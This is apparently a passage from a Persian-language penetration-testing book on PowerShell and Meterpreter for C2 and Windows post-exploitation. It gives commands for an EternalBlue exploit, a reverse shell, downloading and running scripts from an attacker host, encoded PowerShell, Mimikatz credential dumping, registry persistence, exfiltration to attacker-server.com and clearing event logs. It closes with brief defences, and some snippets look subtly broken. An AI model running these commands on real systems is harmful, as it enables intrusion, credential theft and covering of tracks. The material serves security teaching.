  ی بر یسا تیامن تیاست تا وضع یضرور  ی تیمدافعان و متخصصان امن یبرا  PowerShell Empire یهاتیقابل

 کنند. تیتقودر حال تحول   داتیخود را در مواجهه با تهد 

Using Meterpreter and PowerShell for C2 

Meterpreter  ،قدرتمند در چارچوب    پیلود   ک یMetasploit  همراه با ،PowerShell ی برا  ی قو   ی بی، ترک  

C2  استفاده از    یچگونگ   ، دامهدهد. در ای ارائه مMeterpreter    را در کنارPowerShell   و حفظ    جادیا  یبرا

 کرد.  میواهخ  ی بررس شده  Compromise یهاستم یس  ی کنترل بر رو

An introduction to Meterpreter 

Meterpreter  پیلود   کی  Post-Exploitation    چارچوب پیلود  است.    Metasploitدر  ارائه    یبرااین 

  یهات یاز مز  یکیشده است.    یطراح  شده  Compromise  یهاستم یتعامل و کنترل س   ی قدرتمند برا  یهای ژگیو

توجه   توانا  ی ریپذ   ق یتطب  Meterpreterقابل  برا  صیآن در حافظه است که تشخ  یاجرا  ییو    تاقداما  ی را 

 کند.ی م  ز یچالش برانگ  ی سنت یتیامن

Setting up the attack environment 

 : میکن  جادیا  ه یدرک اصول اول   یبرا   Metasploitبا استفاده از    ط یمح  ک ی  د ییایب  م،ی ها بپردازبه مثال   نکهیقبل از ا

# Open a terminal and launch Metasploit 
msfconsole 

Exploiting a vulnerability 

  اکسپلویت . ما از  میاکرده   ییشناسا  یشیاهداف نما  یهدف برا  ستمیس   کیرا در    یریپذ ب یآس   کی  میفرض کن   د ییایب

EternalBlue  کرد  میاستفاده خواه ندوز یو  نیماش  کیبه خطر انداختن  یبرا : 
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# Within Metasploit console 
use exploit/windows/smb/ms17_010_eternalblue 
set RHOSTS <target_IP> 
exploit 

Utilizing Meterpreter 

ارتباط و کنترل استفاده    ی برقرار  ی برا  Meterpreterاز    م یتوانی م  ، اکسپلویت شد   تی که هدف را با موفق  یهنگام

 : میکن

# Within Metasploit console 
use payload/windows/meterpreter/reverse_tcp 
set LHOST <attacker_IP> 
exploit 

Post-exploitation with Meterpreter 

Meterpreter  یهاتیفعال  یها را برا تیاز قابل  یاگسترده   ف یط  Post-Exploitation  د یی ایکند. بی فراهم م  

 . می کن یرا بررس   جیرا فیاز وظا یبرخ

Filesystem manipulation 

از    لیاز سرور به مقصد و دانلود فا  لیآپلود فا  ل،یفا  یسر   کیفهرست کردن    یبرا  Meterpreterدر ادامه، از  

 کرد:  می هدف به سرور استفاده خواه

# List files in the current directory 
ls 
# Upload a file to the target system 
upload /local/path/to/file.txt C:\\target\\path\\ 
# Download a file from the target system 
download C:\\target\\path\\file.txt /local/save/ 

System information gathering 

م نمودن   ی برا  Meterpreterاز    م یتوانی ما  دستورات    ستم یس   پروفایل  از  استفاده  با  و    sysinfoهدف 

getsystem  ستمیس   کی  یهات یقابلکنند که  ی م  جاد یرا ا  ی دستورات گزارش مفصل   نی. امیاستفاده کن  

 کند:ی هدف را مستند م



 
 

 
 

 پاورشل برای تست نفوذ آشنایی با 

Securityworld.ir  شرکت دهکده امن فناورانه صبا 

# Display system information 
sysinfo 
# Gather information about the target machine 
getsystem 

Privilege escalation 

  ی بانیپشت  یمتنوع  یکه از عملکردها  می استفاده کن  ییهاماژول   یبارگذار  یبرا  Meterpreterاز    میتوانی ما م

  از یامت  شیدر افزا  یکرد که سع  می استفاده خواه  ی ماژول  یبارگذار   ی برا  Meterpreter. در ادامه، ما از  کنند ی م

 دارد: 

# Attempt privilege escalation using known exploits 
use post/windows/escalate/getsystem 

Integrating PowerShell for enhanced capabilities 

.  میاستفاده کن  Meterpreterدر    PowerShellاز    م یتوانی م  ، Post-Exploitation  یهات یقابل  شیافزا  یبرا

  رتر یتر و انعطاف پذ انه یمخف  ات یعمل  ی برا  PowerShellگسترده    ی دهد از عملکردهای به ما امکان مموضوع    نیا

 : میاستفاده کن

# Launch PowerShell within Meterpreter 
powershell_shell 

 : می دار Meterpreterدر    PowerShellفرمان خط   کیاکنون، 

 :PowerShellدستور با  یاجرا

# Execute PowerShell commands 
(Get-WmiObject Win32_ComputerSystem).Name 

 کند.ی م  یابیباز Meterpreterدر    PowerShellرا با استفاده از   وتریمثال نام کامپ نیا

 :د یرا دانلود و اجرا کن PowerShell یهاپتیاسکر
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# Download a PowerShell script 
Invoke-WebRequest -Uri http://attacker_IP/script.ps1 -OutFile 
C:\malicious_script.ps1 
# Execute the downloaded script 
C:\malicious_script.ps1 

بالا م  دستورات  مینشان  چگونه  که  از  ی دهد  اجرا   یبرا  Meterpreterدر    PowerShellتوان  و    ی دانلود 

 مخرب استفاده کرد. یهاپتیاسکر

Obfuscating PowerShell commands 

، دستورات  Meterpreterکنند. در  ی را مبهم م  PowerShellمهاجمان اغلب دستورات    ،ییفرار از شناسا  یبرا

PowerShell کند:  زتر یرا چالش برانگ  لیو تحل ه یتا تجز نمود توان مبهم ی را م 

# Obfuscate a simple PowerShell command 
powershell -enc 
JABzAHMAaQBtAGUAbgB0AC4AbgBuAGUAdwAtAGwAZQBuAGEAcwBrAGUAbg
AuAEwAbwBnAGcA 

 دهد.ی نشان م base64 ی را با استفاده از رمزگذار ی مبهم ساز  ،مثال نیا

Using PowerShell for C2 

ارتباط    کی  جادیشامل ا  نی. ا میکاوش کن  C2  یبرا  Meterpreterدر    PowerShellبا استفاده از    د ییایاکنون، ب

اجرا    ی سرور خارج  ک ی  یرو   PowerShell Empire  نکهی است. با فرض ا  هدف  ستم یمهاجم و س   نیب  یدائم

 : میدانلود و اجرا کن Meterpreterآن را در   میتوانی شده است، م

# Download PowerShell Empire 
Invoke-WebRequest -Uri http://attacker_IP/powershell_empire.ps1 
-OutFile C:\powershell_empire.ps1 
# Execute PowerShell Empire 
powershell -ExecutionPolicy Bypass -File C:\powershell_empire.ps1 

  ی دانلود و اجرا  ی برا   PowerShellاز    تواند ی م  ،Meterpreterکه چگونه    دهد ی ن م نشا  موارد  نیا

 استفاده کند. ترشرفته یپ یهاچارچوب
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Defensive measures 

اقدامات    د یها باکنند، سازمانی استفاده م  PowerShellو    Meterpreterکه از    ی دفاع در برابر حملات  یبرا

 را اجرا کنند:  ی قو  یتیامن

• Network monitoring:  ی رعاد یاتصالات غ  ای  کی تراف  یالگوها  ییشناسا  ینظارت بر شبکه برا  یاز ابزارها  

 . د یاستفاده کن

• Endpoint protection :   ی هات یو مسدود کردن فعال  ییشناسا  ی برا  یانیمحافظت نقطه پا  یهااز راه حل  

 . د یمخرب استفاده کن

• Application whitelisting  : یهاپتیاز جمله اسکر  رمجازیغ  یهابرنامه   یاجرا  PowerShell    را محدود

 .د یکن

• Regular audits and patching :   س منظم  طور  برا  هاستمیبه  و    د یکن  یبررس   های ری پذ ب یآس   ی را 

  .د یشناخته شده اعمال کن ی تیکاهش مشکلات امن ی را برا ییهاوصله 

• User education:    ی هالینک   ی کردن رو  کی کل  ایناشناخته    یهالیکاربران در مورد خطرات باز کردن فابه 

 . د یمشکوک آموزش ده

قابل توجه در دست مهاجمان در طول    د یتهد   کی  PowerShellو    Meterpreter  بیبه طور خلاصه، ترک

Post-Exploitation   کاهش    ی ها براسازمان   یموثر برا   ی اقدامات دفاع  ی ریها و به کارگاست. درک عملکرد آن

  ک یها، نظارت بر ترافستمیمنظم س   یمهم است. بروزرسان  اریبس  دهیچیحمله پ  یهاکی تکن  نیخطرات مرتبط با چن

 است. ی ضرور ریانعطاف پذ  یتی امن تیحفظ وضع ی شبکه و آموزش کاربران برا

Summary 

. با شروع  میکرد  ی تست نفوذ را بررس   نه یدر زم  C2  یبرا   PowerShellاستفاده از    دهیچیفصل، حوزه پ  ن یدر ا

شده    یطراح  ی قانون  مدیریتی  فیوظا  ی که برا  ی ، ابزارPowerShellکه چگونه    میکرد  یبررس   ،ی ادیبن  یهانشیب

  PowerShellدوگانه    تی فصل بر ماه  نی. امورد استفاده قرار گیردتواند توسط مدافعان و مهاجمان  ی است، م

  ک ی خود هستند و    یبریسا  تیاقدامات امن  ت یکه به دنبال تقو  یمدافعان  ی قدرتمند برا  یی دارا  ک ی  - کند  ی م  د یتأک

 دشمنان.   ی برا ی قو سلاح

است که    نیاست که هدفشان ا  ی تیمتخصصان امن  یبرا  یارزشمند   عفصل منب  نیدانش ارائه شده در ا

 در حال تکامل بمانند. ی بریسا تیقدم جلوتر در چشم انداز امن کی
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 Post-Exploitation in Microsoft Windows - فصل سیزدهم 
ا از    نیدر  استفاده  با  مح  PowerShellفصل،  قدرتمند    Microsoft Windows  ط یدر  قلمرو  -Postبه 

Exploitation  میپردازی م  .Post-Exploitation   حفظ    مهاجمان از این مرحله، است که هدف    ی اتیح  یامرحله

  ی ریگاست. با بهره   ستمیس   ک ی  دسترسی به   و استخراج اطلاعات ارزشمند پس از   بالابردن سطح دسترسیکنترل،  

  یدستکار  ندوز، یو   یهادر شبکه  شیمایپ  ی را برا  یاشرفته یپ  یهاک ی، ما تکنPowerShell  ی قو  یهات یبلاز قا

گرفته    Lateral Movementو    بالابردن سطح دسترسی. از  میکنی م  یها بررس تی مجوزها و پنهان کردن فعال

مدافعان و مهاجمان   ی مجموعه ابزار همه کاره برا  کیبه عنوان    PowerShell  ،حذف ردپاها و  تا استخراج داده 

 کند. ی عمل م

 فصل آمده است:  نیدر ا یمورد بررس  یموضوعات اصل ر یدر ز

• The role of post-exploitation in Microsoft Windows on a penetration test 

• Post-exploitation on Microsoft Windows 

• Profiling a user with PowerShell on Microsoft Windows 

• File permissions in Microsoft Windows 

• Using PowerShell for privilege escalation on Microsoft Windows 

The role of post-exploitation in Microsoft Windows on a penetration test 

Post-Exploitation  ندوز ی و  کروسافتیما  یهاط یکه مح  یهنگام  ژهیدر تست نفوذ است، به و  ی اتیمرحله ح  کی  

  یشبکه نفوذ کرده و دسترس   ای  ستم یس   ک یبه    تیمهاجم با موفق   کی   نکه یمرحله پس از ا  نیدهد. ای را هدف قرار م 

بالابردن  حفظ کنترل،    ،Post-Exploitationمرحله  در طول    یدهد. هدف اصلیبه دست آورد، رخ م   رمجازیغ

 است. ص یتشخ یهاسم یمکان جادی اطلاعات ارزشمند بدون ا ی و جمع آورسطح دسترسی  

 یهاسم یعامل و مکان  ستمی س   یدرک معمار  ندوز،یو  کروسافتیدر ما  یبردارمهم پس از بهره   یهااز جنبه   یکی

  ک یرا به    ی هستند که حرکت جانب  وسته یبه هم پ  ستمیس   نیچند   ی اغلب دارا  ندوزیو   یهاط یآن است. مح  یتیامن

دست آوردن کنترل    به  یبرا  بالابردن سطح دسترسیکند. هدف مهاجمان عبور از شبکه،  ی م   ل یتبد   ی د یتمرکز کل

 بر منابع است.  شتریب

معمولاً با   ندوزیو یهاستمی است. س  Post-Exploitationهدف مشترک در طول  ک ی بالابردن سطح دسترسی،

 ها ی ریپذ بیدارند. استفاده از آس   یمتفاوت  یکه هر کدام مجوزها  کنند ی کار م  یمتفاوت   یکاربر  یهاحساب

  اشند، داشته ب  یحساس دسترس   یهابه داده   دهد ی به مهاجمان اجازه م  بالابردن سطح دسترسی  یبرا

  Mimikatzمانند    ییکنند. ابزارها  یرا دستکار  ستمیس   یهایکربند یپ  ایمخرب نصب کنند    یافزارهانرم 
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بالابردن سطح  کنند و  ی ها استفاده مشده در حافظه را استخراج و از آن   ره یذخ  های  Credentialبه طور مکرر  

 کنند. ی م لیرا تسه دسترسی

است. مهاجمان به دنبال    Post-Exploitation  یاتیح  یهااز جنبه   گرید  ی کی  Persistenceیا    یداریحفظ پا

دسترس   نانیاطم س   یاز  به  از    ی حتشده    Compromise  یهاستم یمداوم  هستند.    ه یاول  اکسپلویتپس 

استفاده    ی داریپا  جاد یا  یمعمولاً برا  ی ستریاصلاحات رج  ای  Backdoor ،  Scheduled Tasksمانند    ییهاک یتکن

تواند  ی شود، مهاجم همچنان م  Patchکشف و    ه ی اول  ی اگر نقطه ورود   ی کند که حتی م  نیتضم  نیشوند. ای م

 کند.  دایپ یدسترس به هدف خود دوباره 

Data Exfiltration   خروج طول    ینگران  کیها  داده   یا  در  هنگام  Post-Exploitationمهم  که    یاست. 

وارد   م   کی مهاجمان  اطلاعات حساس یشبکه  است  ممکن  مالک  یشوند،    ا ی  ی مشتر  یهاداده   ، یمعنو  ت یمانند 

Credential   مختلف، از جمله    یهاک یرا هدف قرار دهند. ابزارها و تکن  ستمیورود به سCovert Channel    و

 شود.ی سوء ظن استفاده م   جاد یها بدون اداده   خروج یشده، برا  ی رمزگذار اطاتارتب

  ی واقع  یایدن  های مورد استفاده توسط مهاجمانتکنیک از    د یبا  یتیمتخصصان امن  ،Post-Exploitationدر طول  

مانند    ییقرمز اغلب از ابزارها  یهام یکنند. ت  استفادهواکنش به حادثه    یهات یدفاع و قابل  یاثربخش  یابیارز  یبرا

Cobalt Strike  ا ی  Metasploit   سازمان    ییواناو ت  کنند ی استفاده م  شرفتهیپ  داریپا  داتیتهد   یسازه ی شب  یبرا

 .کنند ی م  شیآزما  دهیچیو پاسخ به حملات پ  ییشناسا یرا برا

Post-Exploitation  شامل    زینReconnaissance  اطلاعات در مورد    یشود. هدف مهاجمان جمع آوری م

  فرآیند   آگاهانه در مورد  یری گ  میاطلاعات به تصم  نیها و کاربران مختلف است. استمیآن و نقش س   یشبکه، معمار

 کند.ی کمک م Lateral Movementو  شتر یب اکسپلویت

  ندوز ی و  کروسافتیما  یهاط ی در تست نفوذ متمرکز بر مح  یاتیمرحله ح  کی  Post-Exploitationبه طور خلاصه،  

  داتیتهد   یساز  ه یشب  یبرا  ییداده ها، و شناسا  خروج،  پایداری  ، بالابردن سطح دسترسیشامل  بخش    نیاست. ا

 بهبود است. یبرا مناطق ییسازمان و شناسا یتیامن تیارزشمند در مورد وضع یهانش یارائه ب ، یواقع  یایدن

Post-exploitation on Microsoft Windows 

PowerShell  ، برنامه   کی توسعه   یسینوزبان  پوسته  و  ما  افتهیقدرتمند  طول    کروسافت،ی توسط  در  اغلب 

. انعطاف  ردیگی مورد استفاده قرار م  ندوزیو  کروسافتیدر پلتفرم ما  Post-Exploitation  یهاتیفعال

  یارجح برا   یانه یگز   ه ها، آن را بپت یدستورات و اسکر  یاجرا   ییو توانا  ندوزیو  یادغام با اجزا   ،یریپذ 

 کرده است. لیمهاجمان تبد 
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  PowerShell Empireکنند.  ی م  یبانیپشت  Post-Exploitationوجود دارند که از    ییهاچارچوب  نیهمچن

-Post  یهات یانجام فعال  ی ها را برا از ابزارها و ماژول   یع یوس   ف یاست که ط  Post-Exploitationچارچوب    کی

Exploitation  کند.ی فراهم م  ندوزیو یهاستم یدر س 

آورده شده    Post-Exploitationمختلف    یکارها  یبرا   PowerShellاز نحوه استفاده از  ی  یهانمونه   ادامه در  

 است. 

Privilege Escalation 

  دستور استفاده کرد. به عنوان مثال،    بالابردن سطح دسترسی  یهافرصت   یبررس   یتوان برا ی م  PowerShellاز  

PowerShell کند:یم  یرا بررس  ی کاربر فعل سطح دسترسی ر یز 

whoami /all 

 دهد.ی ها را نشان مآن   ازاتیدر گروه و امت  تیاز جمله عضو ،یدستور اطلاعات کاربر فعل  نیا

Credential dumping 

از حافظه استفاده  Credential  نمودن   Dump  یبرا  توان می   PowerShellاز   از    ر ی. مثال زنمودها  استفاده 

 : باشد می ها Credentialاستخراج  یابزار محبوب برا کیدهد که ی را نشان م  Mimikatzماژول

# Load Mimikatz module 
Import-Module .\mimikatz.ps1 
# Run Mimikatz command to dump credentials 
Invoke-Mimikatz -DumpCreds 

  Credentialاستخراج    یرا برا  Invoke-Mimikatzکند و  ی م  Importرا    Mimikatzماژول  بالا،    پتیاسکر

 کند.ی از حافظه اجرا م  ها

Persistence 

استفاده    شده   Compromise  ستمیس   ک یدر    یداریپایا    Persistence  جاد یا  یتوان برا ی م  PowerShellاز  

در هنگام   PowerShell  پت یاسکر  کی  یاجرا   یرا برا  ی ستریرج  ی ورود کی  ریز  پتیکرد. به عنوان مثال، اسکر

 کند:ی اضافه م ستمیس  ی راه انداز
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# Create a registry key for persistence 
New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" 
-Name "MyScript" -Value "powershell.exe -ExecutionPolicy Bypass -File 
C:\Path\To\MyScript.ps1" 

  را هر بار که کاربر وارد   PowerShell  پت یاسکر  ک ی  یکند که اجرا ی م   جاد یا  یستری رج  د یکل  ک ی  پتیاسکر  نیا

 کند.ی م نیشود تضمی م سیستم

Lateral Movement 

ارزشمند    ،شبکه   کیدر  Lateral Movement  یدستورات از راه دور آن را برا  یاجرا  ی برا  PowerShell  ییتوانا

 کند:ی راه دور استفاده م  نی ماش   ک یدر    دستور   ک ی  یاجرا  یبرا  PowerShell Remoting  از   ر یکند. مثال زی م

# Enable PowerShell remoting on the target machine 
Enable-PSRemoting -Force 
# Run a command on the remote machine 
Invoke-Command -ComputerName TargetMachine -ScriptBlock { Get-Process 
} 

ا ماش   PowerShell Remotingمثال،    ن یدر  و سپس    نیدر  است  فعال شده  نظر  -Get)   دستور   ک یمورد 

Process  دور راه  از  آن  (  مروی  بسی اجرا  که  است  ذکر  به  لازم  پارامتر    cmdletاز    یاریشود.  از  -ها 

ComputeName  هدف    ستم یس   روی   را   یدهد تا از راه دور دستور خاصی اجازه م  پارامتر   نیکنند. ای م   یبانیپشت

 . د یاجرا کن

Data Exfiltration 

PowerShell  برا ی م تکنداده   خروج  یتواند  از  استفاده  با  شود.    یهاک یها  استفاده  روش   ی کیمختلف    یهااز 

چنین موضوعی    ر یز  پتیشبکه است. اسکر  ق یها از طرو ارسال آن   Base64  قالب   ها درداده   ی استاندارد، کدگذار

 دهد:ی را نشان م

# Encode and send data to a remote server 
$data = "SensitiveData" 
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$encodedData = [Convert]::ToBase64String([System.Text.Encoding]::UTF8. 
GetBytes($data)) 
Invoke-WebRequest -Uri "https://attacker-server.com/upload.php" 
-Method POST -Body $encodedData 

که توسط مهاجم    ی و آن را به سرور   نموده   ی رمزگذار  Base64  قالب   را در   SensitiveDataرشته    پتیاسکر  نیا

 کند.ی شود ارسال م ی کنترل م

Covering tracks 

PowerShell  یهایاصلاح ورود   ا یها  خود را با حذف گزارش   ی رهایمس  تواند ی م  ن یهمچن  Event   مخفی    ها

 :دهد ی را نشان م ها Event Logحذف  ری. مثال زکند 

# Clear Windows event logs 
Get-EventLog -LogName "Security" | ForEach-Object { Clear-EventLog 
-LogName $_.Log -Entry $_.Index -Force } 

ی نفوذگر  هات یآثار فعال  نموده که این موضوع منجر به حذفرا پاک  ها    Security Event Log  پتیاسکر  نیا

 .شودمی 

Profiling a user with PowerShell on Microsoft Windows 

Profiling  کاربر با    کیPowerShell    درMicrosoft Windows   در مورد    قیاطلاعات دق  یشامل جمع آور

نفوذ را انجام    یهاکه تست  یت یمتخصصان امن  ی برا  ند ی فرآ  ن یکاربر است. ا  ستم یها، مجوزها و تعاملات س تیفعال

از نحوه    ییهانمونه   ری مهم است. در ز  اریهستند، بس  یری پذ ب یکه به دنبال سوء استفاده از آس   یو مهاجمان  دهند ی م

 آورده شده است. ندوزیو ستمیدر س   یکاربر  لیپروفا یبرا  PowerShellاستفاده از 

User information 

PowerShell   دق  تواند ی م از    ک ی  ق یاطلاعات  وکاربر،  کاربر   یهای ژگ یجمله  را    یهات یو عضو  یحساب  گروه 

 دهد:ی اطلاعات کاربر را نشان م ی نحوه جمع آور ر یکند. مثال ز یابیباز



 
 

 
 

 پاورشل برای تست نفوذ آشنایی با 

Securityworld.ir  شرکت دهکده امن فناورانه صبا 

# Get information about the current user 
Get-LocalUser -Name $env:USERNAME 
# Get group memberships of the current user 
Get-LocalGroupMember -Group "Users" 

  ،ی مانند نام کاربر  ییهای ژگی کند، از جمله وی م  یابیرا باز  یاطلاعات مربوط به کاربر وارد شده فعل   پتیاسکر  نیا

 در گروه.   تینام کامل و عضو

Running processes 

Profiling    است.  ها  ای آن است که کاربر در حال اجر  ییندهایشامل درک فرآدر این بخشPowerShell    امکان

 کند:ی مرتبط را فراهم م  اتیدر حال اجرا و جزئ یندهایفرآ استخراج

# Get a list of running processes for the current user 
Get-Process -IncludeUserName 

 دهد.ی ارائه م را ند یمرتبط با هر فرآ یاز جمله نام کاربر  ندها،یدر مورد فرآ  یدستور اطلاعات نیا

Network connections 

Profiling    شده توسط کاربر است.    جادیاتصالات شبکه ا  ی شامل بررس در این بخشPowerShell  ی تواند برای م  

 استفاده شود:  کاربر خاص   ک یتوسط  ندهایاطلاعات مربوط به اتصالات شبکه فعال در مورد صاحبان فرآ استخراج

# Get active network connections for the current user 
Get-NetTCPConnection -OwningProcess (Get-Process -IncludeUserName | 
Where-Object { $_.UserName -eq $env:USERNAME }).Id 

 کند.ی م ییرا شناسا ی متعلق به کاربر فعل یندهایاتصالات شبکه فعال مرتبط با فرآ پتیاسکر نیا

File and directory access 

Profiling    است.    دایرکتوری ویبه    یکاربر و دسترس   های مربوط بهو شناسایی فایلشامل درک  در این بخش

PowerShell  دارد استفاده شود:  یکه کاربر به آن دسترس  ییهارکتوریو دا هانمودن فایل  ستیل ی تواند برای م 
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# List files/directories in the user's home directory 
Get-ChildItem -Path $env:USERPROFILE 

 کند.ی م ستیل وجود دارد  کاربر  Homeکه در دایرکتوری  را   ییهایرکتور یها و دافایل دستور   نیا

Installed software 

PowerShell   م افزارهای اجازه  نرم  تا  رو  ی دهد  بر  را  شده  نموده    ستم یس   ک ی  ی نصب  همچنین  و  شناسایی 

 دهد:می ارائه نیز  یکاربرد  یهارا در مورد ابزارها و برنامه  ییهانشیب

# Get a list of installed software for the current user 
Get-WmiObject -Query "SELECT * FROM Win32_Product WHERE Vendor = 
'$env:USERNAME'" 

 .دهد نشان می را  ی نصب شده مرتبط با کاربر فعل یاز نرم افزارها ی ستیدستور ل نیا

Recent activities 

Profiling    کاربر است.    ریاخ  یهات یشامل درک فعالدر این بخشPowerShell   تواند از  یمEvent Log  ها  

مرتبط، پرس و جو    یدادهایرو  ری، و ساستمیس   ر ییاطلاعات مربوط به هنگام ورود کاربر، هنگام تغ  یجمع آور   یبرا

 : داردتمرکز  کاربر   Logoutو   Login ی ، روریز  کد کند. 

# Get recent security events for the current user 
Get-WinEvent -LogName Security -FilterXPath 
"*[System[(EventID=4624 or EventID=4634) and EventData[Data[@ 
Name='TargetUserName']='$env:USERNAME']]]" -MaxEvents 10 

  استخراج را    ز یآم  تیمانند ورود و خروج موفق   ، یمربوط به کاربر فعل  ر یاخ  های  Security Event  پتیاسکر  نیا

 کند.ی م

شامل استفاده از دستورات    Microsoft Windowsدر    PowerShellکاربر با    کی   Profilingبه طور خلاصه،  

، نرم افزار نصب  لیبه فا  ی، اتصالات شبکه ، دسترس ند یفرآ  یاطلاعات در مورد کاربر، اجرا  ی جمع آور  یمختلف برا 

  ی کند تا رفتارهای کمک م  یت یمتخصصان امن  بهجامع    کردیرو  نیاست. اوی    ریاخ  یهات یشده و فعال

 کنند.  ییبالقوه را شناسا ی تیکرده و خطرات امن یابیکاربر را ارز
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File permissions in Microsoft Windows 

  ت یامن نیها، تضمدایرکتوری ها و فایل به  یدر کنترل دسترس  ی نقش مهم  ندوزیو کروسافتیدر ما فایل  ی مجوزها

، متخصصان  ستمیس   رانیمد   یپرونده برا   ی مجوزها  یو دستکار  ت یریدارند. دانستن نحوه مد   یکپارچگ یها و  داده 

را نشان    ندوزیدر و  فایل   یاست که نحوه عملکرد مجوزهای  یهامثال  ریز  یهااست. بخش   ی و کاربران ضرور  یتیامن

 دهد.ی م

Viewing file permissions 

PowerShell   ی مجوزها   استخراج نحوه    ر یمشاهده کند. مثال زرا  موجود  یا دایرکتوری    فایل  یتواند مجوزهای م  

 دهد:ی را نشان م فایل  ک ی یبرا  یفعل

# Get file permissions for a specific file 
Get-Acl -Path "C:\Path\To\File.txt" | Format-List 

کند  ی مشخص شده استفاده م  لیفا  یبرا(  ACL)  یکنترل دسترس   ستیل  استخراج  یبرا   Get-Aclاز    پتیاسکر  نیا

 کند.ی م ی قابل نمایش، ارائه فرمتدر بهتر  ییخوانا ی را برا یو سپس خروج

Granting file permissions 

PowerShell  ی نحوه اعطا  ریها اعطا کنند. مثال زگروه   ایرا به کاربران    یخاص  یسازد مجوزهای کاربران را قادر م  

 دهد:ی کاربر خاص نشان م ک یرا به  خواندن و اجرا ی مجوزها

# Grant read and execute permissions to a user 
$user = "andrewblyth" 
$file = "C:\Path\To\File.txt" 
$permission = New-Object System.Security.AccessControl. 
FileSystemAccessRule($user, "ReadAndExecute", "Allow") 
(Get-Acl -Path $file).AddAccessRule($permission) | Set-Acl -Path $file 

  ا ی allow( و ReadAndExecuteکند که کاربر، نوع مجوز )ی م  جادیا د یجد  یقانون دسترس   کی پتیاسکر نیا

deny  قانون به   نیکند. سپس ای مجوز را مشخص مACL شود. ی اضافه م لیفا 

Modifying file permissions 

از    فایلموجود در    ی مجوزها تغ  PowerShellبا استفاده  نحوه اضافه کردن    ر یاست. مثال ز  ر ییقابل 

 دهد:ی نوشتن به کاربر موجود را نشان م ی مجوزها
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# Add write permissions to an existing user 
$user = "AndrewBlyth" 
$file = "C:\Path\To\File.txt" 
$acl = Get-Acl -Path $file 
$acl.SetAccessRuleProtection($false, $false) 
$permission = New-Object System.Security.AccessControl. 
FileSystemAccessRule($user, "Write", "Allow") 
$acl.AddAccessRule($permission) | Set-Acl -Path $file 

باز  ی فعل  ACL  پتیاسکر  نیا غ  Protectionو    Inheritanceکند،  ی م  یابیرا  قانون    ک یکند،  ی م   رفعالی را 

 کند.ی اعمال م فایلاصلاح شده را در   ACLکند و سپس ی نوشتن اضافه م مجوز  یرا برا  د یجد  یدسترس 

Revoking file permissions 

خواندن    ی نحوه حذف مجوزها  ر یاستفاده کرد. مثال ز  لی فا  یحذف مجوزها  ایلغو    یتوان برا ی م  PowerShellاز  

 دهد:یکاربر خاص را نشان م   کیاز 

# Remove read permissions from a user 
$user = "AndrewBlyth" 
$file = "C:\Path\To\File.txt" 
$acl = Get-Acl -Path $file 
$rule = $acl.Access | Where-Object { $_.IdentityReference -eq $user 
-and $_.FileSystemRights -eq "Read" } 
$acl.RemoveAccessRule($rule) | Set-Acl -Path $file 

و حذف    ییشناسا  ACLکاربر مشخص شده و مجوز خوانده شده از    یموجود برا   ی، قانون دسترس   پت یاسکر  نیدر ا

 شود.ی م

Using PowerShell for privilege escalation on Microsoft Windows 

زبان برنامه    کی،  PowerShellاست.    یتیامن  یابیاز تست نفوذ و ارز  یاتیجنبه ح  ک ی  بالابردن سطح دسترسی

استفاده شود. در    بالابردن سطح دسترسی  مختلف   یهاک یتکن  ی تواند برا ی م  ندوز، ی و  ط یقدرتمند در مح   یسینو

در    بالابردن سطح دسترسی  ی برا  PowerShellاز    توانی چگونه م   دهد یوجود دارد که نشان می  یهانمونه   ریز

Microsoft Windows  .استفاده کرد 
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Checking the current user’s privileges 

تواند  ی م  PowerShellمهم است.    اریبس  ی کاربر فعل  ازات ی، درک امتبالابردن سطح دسترسی   ی قبل از تلاش برا

 استفاده شود:  یدر مورد کاربر فعل ق یاطلاعات دق یابیباز یبرا

# Check current user's privileges 
whoami /all 

 دهد.ی ارائه م سطح دسترسیدر گروه و  تی، از جمله عضو یدر مورد کاربر فعل یادستور اطلاعات گسترده  نیا

Enumerating local administrators 

  شناساییامکان  PowerShellاست.  ازیامت  شیگام مشترک در افزا ک یها  Local Administrator ییشناسا

Local Administrator  کند:ی را فراهم مها 

# Get members of the Administrators group 
Get-LocalGroupMember -Group "Administrators" 

بالا    ازاتیامت  که دارای  یکاربران  ییکند و به شناسای را فهرست م  Administratorsگروه    یدستور اعضا  نیا

 کند.ی کمک م هستند 

Exploiting unquoted service paths 

  ر یمس  دهد ی باشند که به مهاجم اجازه م  Unquoted Path  یممکن است دارا  ندوز یو  یهاس یاز سرو  یبرخ

  ییشناسا  یتوان برای م  PowerShellدهد. از    شیرا افزا  ازاتیکند و به طور بالقوه امت  یرا دستکار  سیسرو  یاجرا

 استفاده کرد:  ییهاس یسرو نیچن

# Check for unquoted service paths 
Get-WmiObject -Class Win32_Service | Where-Object { $_.PathName 
-notlike '"*\\*"' -and $_.StartMode -ne 'Disabled' } 

 .  کند ی م ییشناساهستند  Unquoted Path یدارا  که ییهاس یسرو پتیاسکر نیا
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Exploiting insecure service permissions 

اصلاح    یامکان را برا  موضوع نیناامن باشد و ا  یمجوزها  یممکن است دارا  هاسرویس   ماتیموارد، تنظ  یدر بعض 

موارد    ن یاز چن  ی و بهره بردار  ییشناسا  ی توان برای را م  PowerShellکند.  ی فراهم م  ی رقانونیتوسط کاربران غ

 استفاده کرد:  ینادرست

# Identify services with weak permissions 
Get-Service | ForEach-Object { 
     $service = $_ 
     $acl = (Get-Acl "HKLM:\SYSTEM\CurrentControlSet\ 
Services\$($service.ServiceName)") 
     if ($acl.Access | Where-Object { $_.IdentityReference -eq "Users" 
-and $_.FileSystemRights -match "Write" }) { 
          # Exploit weak permissions (replace with your payload) 

           Write-Host "Service $($service.DisplayName) has weak 
permissions. Exploiting..." 
     } 
} 

رج  هاس یسرو  یمجوزها  پتیاسکر  نیا در  مجوزها  کند ی م  یبررس   یستریرا  در صورت داشتن  که    ف یضع  یو 

 .دهد ی هشدار م رد،یمورد سوء استفاده قرار گ تواند ی م

DLL Hijacking 

DLL Hijacking  کی  ینیگزیشامل جا  DLL  کی با    یقانون  DLL   بالابردن سطح  تواند منجر به  ی مخرب است، که م

 DLL  یاحتمال  یهافرصت  ییشناسا  یتوان برا ی را م  PowerShellشود.    DLL  کی  یدر هنگام بارگذار   دسترسی

Hijacking  :استفاده کرد 

# Identify processes with DLL hijacking potential 
Get-Process | ForEach-Object { 
 $process = $_ 
 $dllPath = Join-Path $process.MainModule.FileName -ChildPath 
"evil.dll" 
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 if (-not (Test-Path $dllPath)) { 
 # Exploit DLL hijacking (replace with your payload) 
 Write-Host "Potential DLL hijacking found in $($process. 
